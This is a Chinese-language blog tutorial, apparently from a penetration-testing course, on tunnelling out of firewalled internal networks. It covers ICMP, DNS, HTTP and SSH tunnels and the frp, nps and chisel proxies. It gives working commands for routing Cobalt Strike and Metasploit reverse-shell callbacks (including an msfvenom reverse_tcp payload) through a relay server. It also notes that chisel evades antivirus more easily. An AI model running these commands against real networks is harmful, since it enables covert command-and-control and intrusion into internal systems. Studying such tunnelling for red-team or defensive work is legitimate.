内网-隧道技术

学隧道前先搞清楚

0、不是有互联网才叫出网

1、C2 常见上线采用的协议

2、常见的协议层出网判断

常用的隧道技术:

利用各种隧道技术,以网络防火墙允许的协议,

绕过网络防火墙的封锁,实现访问被封锁的目标网络

网络层:IPv6 隧道、ICMP 隧道

传输层:TCP 隧道、UDP 隧道、常规端口转发

应用层:SSH 隧道、HTTP/S 隧道、DNS隧道

协议&判断命令

协议判断命令
ICMPping ip or domain
HTTPcurl ip or domain
SSHssh ip or domain
DNSnslookup domain
TCPtelnet ip port
…..

A ping B 不通,B ping A 通了

A是你控制的主机 现在问 他icmp出网了吗?

B是你控制的主机 现在问 他icmp出网了吗 ?

答案:B出网,A没出网 因为出网是看出站规则 B能ping通A 说明它能出网,A不能ping通B,说明他禁ping了

Pingtunnel 是一种通过 IGMP 发送 TCP/UDP 流量的工具。

iox是端口转发和内网代理工具

场景1-出站–只让web进,icmp出

1.通过web上传后门,拿下网站权限

开启防火墙 只能扫到一个开放的80端口

关闭防火墙,就可以都扫出来

2.上传cs后门,由于防火墙开启,不能上线—说明出站有限制

3.尝试看什么协议可以出网

pingtunnel

./pingtunnel -type server

将本地的TCP端口6666流量转发到192.168.139.141:7777上面(TCP流量封装成icmp转发的)
pingtunnel -type client -l :6666-s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1

cs:
127.0.0.1 6666(后门上线)
192.168.139.141 7777(监听上线)
  • -type client:指定运行模式为客户端
  • -l :6666:本地监听端口为 6666
  • -s 192.168.139.141:指定服务器的 IP 地址
  • -t 192.168.139.141:7777:指定目标服务器的 IP 和端口
  • -tcp 1:启用 TCP 模式
  • -noprint 1:禁用打印输出
  • -nolog 1:禁用日志记录

这条命令的作用是:在本地监听 6666 端口,通过 pingtunnel 将流量转发到 192.168.139.141 的 7777 端口,使用 TCP 模式,并且不输出日志和打印信息。

127.0.0.1 6666–后门生成

192.168.139.141 7777–监听上线

cs上线

总结:http->转换成icmp封装出去 后门能出战

msf上线

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
setl port 3344
run

场景2-入站–只让web进,DNS出

配置服务器

生成监听器生成后门,执行上线

场景3-出站–smb-开防火墙入站只445

cs上线并提权

获取密码凭证

抓取明文密码

端口扫描

横向移动

内网穿透–Pingtunel 配合 iox 代理 Socks 内网穿透

C2:
接收客户端传递的ICMP #-key 000000 设置密钥
./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455 转至 5566 端口
./iox proxy -l 4455 -l 5566

Web
将本地2222的TCP封装IMCP给192.168.139.141:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立 socks 节点绑定 3389 端口:
iox.exe proxy -r 127.0.0.1:2222

成功建立Socks5的节点

配置代理转发,实现穿透内容

成功访问

内网穿透–配合上线dnscat2(DNS)

内网穿透–HTTP隧道

情况1:入站只web,出站不限制

情况1:不能C2上线,能访问网站是80和443端口,但是端口是占用的,也就是说端口的借用的web协议,所以入站是web端口被占用,出站也有限制,这种情况就无法通过C2来控制软件,就可以使用webshell(web的控制软件)来控制服务器,也就是利用网站的后门来控制web服务器

第一步:先理解 “80 和 443 端口被占用”

服务器上的 “端口” 就像现实中的 “门”,每个门(端口)同一时间只能被一个 “程序”(服务)占用,负责处理从这个门进来的 “流量”(数据)。

  • 80 端口是 HTTP 协议的 “专属门”,443 是 HTTPS 协议的 “专属门”。
  • 当服务器上有正常的 Web 服务(比如 Nginx、Apache、IIS)时,这些 Web 服务会 “占用” 80/443 端口 —— 也就是说,这两个门已经被 Web 服务 “把守” 了,所有从 80/443 端口进来的流量,都会先被 Web 服务接收和处理(比如展示网页、处理用户的登录请求等)。

第二步:“借用 web 协议” 是什么意思?

这里的 “借用” 指的是:其他程序不能直接占用 80/443 端口,只能 “伪装” 成 Web 服务能理解的流量(HTTP/HTTPS 协议),通过 Web 服务已经占用的端口传输数据。 比如正常用户访问网站时,浏览器发送的是 HTTP 请求(符合 Web 协议),Web 服务会处理并返回网页;而如果想通过 80/443 端口传输其他数据(比如控制指令),就必须把这些数据 “包装” 成 HTTP/HTTPS 的格式(比如放在 URL 参数、POST 内容里),让 Web 服务认为这是 “正常的网页请求”,从而允许通过。

第三步:“入站是 web 端口被占用” 为什么会导致 C2 无法上线?

“入站” 指的是 “从外部发送到服务器的流量”。C2 上线的核心是 “服务器上的恶意程序(C2 客户端)要和攻击者的 C2 服务器建立连接”,这个连接通常需要 “端口” 来传输数据。

但问题在于:

  • 如果 C2 想通过 80/443 端口让服务器上的客户端 “接收指令”(即 C2 客户端监听 80/443 端口),但这两个端口已经被 Web 服务占用了 —— 就像 “门被别人占了,你挤不进去”,C2 客户端无法 “监听” 这两个端口,自然收不到攻击者的指令。
  • 如果 C2 想让服务器上的客户端主动 “向外连接”(比如反向连接到攻击者的 80/443 端口),但如果服务器的 “出站规则” 有限制(比如只允许 Web 服务向外发起 HTTP/HTTPS 请求,不允许其他程序随便连接外部),C2 客户端的出站连接会被拦截,也无法上线。

HTTP 隧道搭建内网穿透:(解决目标出站限制做信息收集)

-项目 Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

1、设置密码生成(aspxlashxljspljspxlphp)并上传

 python neoreg.py generate -k password

2、使用 neoreg.py连接 WEB服务器,在本地建立连接

  python neoreg.py -k password -u http://xx/tunnel.php

3、Proxifier添加 socks5 服务器并配置连接规则测试

同类推荐项目:

https://github.com/zema1/suo5

https://github.com/nccgroup/ABPTTS

1、设置密码生成(aspxlashxljspljspxlphp)并上传
2、使用 neoreg.py连接 WEB服务器,在本地建立连接
python neoreg.py -k password -u http://192.168.139.222/tunnel.php
3、Proxifier添加 socks5 服务器并配置连接规则测试

-哥斯拉&冰蝎

哥斯拉:HttpProxy

冰蝎:内网穿透

访问127.0.0.1:2222访问的是192.168.2.22的内容

总结

http隧道 内网穿透 信息收集:

1、端口映射 本地访问远程端口数据 主动转发出来

2、建立支持socks代理协议 连接socks对内网穿透

由于出站有限制 所以内网的数据通过web出不来,需要通过http隧道进行一个转发

情况2:入站只web,出站不限制

反向上线web

由于是映射到本地的1122端口,所以连接本地192.168.139.1:1122

由于入站没有限制 可以直接正向连接

内网穿透–SSH隧道

隧道技术:不出网(出战问题 能出哪些协议 利用协议做隧道)
1、内网穿透 解决内网的网络防护导致的网络不可达 信息收集打点问题
2、C2上线

icmp dns---内网穿透、C2上线
http --C2上线
ssh --内网穿透

1、环境复现搭建:

2、适用场景:

内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透

3、需要条件:(解决目标出站限制)

被控主机需支持 SSH协议(windows 需要安装支持软件)

将2.22 上 80端口流量转发到xx.xx上的 1234端口

 ssh -CfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx
 curl http://127.0.0.1:1234

复现

跳板机–流量转发

攻击机成功访问

也可转发2.11网段

控制上线-插件-Linux&Mac&Ios&Android

https://github.com/gloxec/CrossC2

面向 Linux Mac IOS Android 系统上线支持 1、插件使用 2、命令使用

使用参考: https://gloxec.github.io/CrossC2/zh_cn/

目前版本只支持反向的 https 和正向的 tcp

1、下载对应版本加载器和 CNA 插件 2、上传加载器文件和本地加载 CNA 插件

3、修改 CNA 插件配置路径及上传 Key 文件

4、使用命令或插件绑定 HTTPs 监听器生成

生成linux后门

Frp

Frp 是专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP节点的中转暴露到公网。

frp服务端

frp客户端

如何利用这种情况实现c2上线

监听器1∶47.98.210.85 6666端口

监听器2∶192.168.139.141 5555端口

生成后门用监听器1

后门->47.98.210.85:6666->frp 192.168.139.141 5555->监听器2->正常上线

信息收集:

1、建立socks节点做信息收集

cs上线也可以做信息收集

但是有时候cs不能上线,就可以说使用frp上线

2、端口映射转发做信息收集

1、建立socks节点做信息收集

frp连接上线

Proxifire连接

总结:实战场景

 拿到webshe11但是上线不了cs(出入站阻止) 要对主机的内部网络进行信息收集打点
 ​
 无法采用cs上面的socks节点去操作 上传至控制机器 frpc 创建socks节点
 ​
 条件:出站没限制
 相当于还是让被控机去访问内部网络

客户端->47.98.210.85:7000->47.98.210.85:6000(socks)->

即:客户端(有2网段)连接47.98.210.85建立的socks隧道,本机直接连接socks隧道就可以访问2网段了

2、端口映射转发做信息收集

Nps

Nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持 tcp、udp 流量转发,可支持任何 tcp、udp 上层协议(访问内网网站、本地支付接口调试、ssh 访问.远程桌面,DNS 解析等),此外还支持内网http代理、内网 socks5 代理、p2p等,并带有功能强大的 web 管理端。

配置文件:

默认是8080端口 默认账户密码:admin/123

连接客户端

设置隧道–TCP(web->服务器6666->客户端kali5555->上线cs)

设置隧道–SOCKS5(web->服务器1233 通过proxifire访问走1233访问到web 从而访问web的2网段内网)

端口转发(web->服务器建立nps连接 将192.168.2.22的80端口连接到服务器的8899端口)

HTTP隧道

Chisel(相对于Frp、Nps更冷门,所以做免杀更容易)

Chisel 是一个快速 TCP/UDP 隧道,通过 HTTP 传输,通过 SSH 保护。单个可执行文件包括客户端和服务器。用 Go(golang)编写。Chisel 主要用于穿过防火墙,但也可用于为网络提供安全端点。

内网穿透 C2 上线

建立服务端监听 1234

 ./chisel server -p 1234 --reverse

建立客户端连接服务端后将141上5555 给到服务端 6666上

 ./chisel client -v 47.98.210.85:1234 R:0.0.0.0:6666:192.168.139.141:5555

内网穿透信息收集

1、建立 socks 节点(入站没限制采用)

建立服务端监听 1090

 chisel server -p 1090 --socks5

建立客户端连接服务端后将使用 socks 服务

 chisel client 47.98.210.85:1090 socks &

使用浏览器插件或者proxifer连接服务器的1090端口连接socks5

2、主动转发数据(出站没限制采用)

建立服务端监听 1234

 ./chisel server -p 1234 --reverse

建立客户端连接服务端后将 141上5555 给到服务端 6666 上

 ./chisel client -v 47.98.210.85:1234 R:0.0.0.0:8888:192.168.2.22:80

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注